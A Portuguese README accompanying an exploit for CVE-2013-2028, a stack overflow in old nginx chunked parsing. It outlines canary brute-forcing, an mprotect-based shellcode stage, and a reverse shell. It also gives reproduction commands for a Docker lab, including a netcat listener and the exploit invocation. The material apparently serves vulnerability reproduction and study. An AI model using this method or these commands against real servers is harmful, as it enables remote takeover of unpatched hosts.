Exploit CVE-2013-2028

Detalhes da vulnerabilidade

Software vulnerável: Nginx 1.3.9 < 1.4.0
Commit com correção: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

A vulnerabilidade existe na função ngx_http_parse_chunked. Este exploit desencadeia um estouro de inteiro em ngx_http_parse_chunked, e posteriormente o utiliza para estourar a pilha e sequestrar o fluxo de controle.

Detalhes da exploração

O exploit atual contém 4 etapas:

1. Encontre o valor do canário de pilha usando força bruta byte a byte
2. Calcule o endereço de mprotect usando o valor de rcx (aponta para algum lugar em lpthread). Chame mprotect com os argumentos apropriados.
3. Copie o shellcode para o local de memória RWX.
4. Pule para o shellcode e inicie um reverse shell.

Como reproduzir

1. inicie um listener no sistema host, por exemplo usando netcat: nc -lvp 4345
2. na máquina virtual, inicie o docker: sudo docker-compose up --build
3. execute o exploit: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. Deixe o exploit encontrar o valor real do canário e inicie o reverse shell.